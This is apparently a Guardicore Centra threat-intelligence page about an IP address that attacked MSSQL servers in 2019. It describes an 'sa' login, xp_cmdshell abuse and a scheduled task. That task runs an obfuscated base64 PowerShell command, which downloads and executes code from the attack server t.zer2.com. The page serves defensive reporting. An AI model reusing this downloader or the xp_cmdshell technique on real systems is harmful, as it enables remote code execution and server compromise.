IP Address: 114.241.255.240Previously Malicious

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IP Address:
114.241.255.240​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

PowerShell Execute MsSql Shell Command DNS Query Scheduled Task Creation Listening MSSQL File Operation By CMD Access Suspicious Domain Successful MSSQL Login CMD IDS - Attempted User Privilege Gain

Associated Attack Servers

t.zer2.com

Basic Information

IP Address

114.241.255.240

Domain

-

ISP

China Unicom Beijing

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-08-11

Last seen in Guardicore Centra

2019-08-15

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List

Successful MSSQL Login

MSSQL executed 1 shell commands

Execute MsSql Shell Command

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

The command line powershell -nop -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdAAuAHoAZQByADIALgBjAG8AbQAvAG0AcwBvAC4AagBzAHAAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\Rtsa

Process netsvcs Service Group started listening on ports: 65529

Listening

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 2 times

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: t.zer2.com 2 times

Access Suspicious Domain DNS Query

Process NetworkService Service Group attempted to access suspicious domains: t.zer2.com

Access Suspicious Domain DNS Query

Connection was closed due to user inactivity

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IP Address: 114.241.255.240​Previously Malicious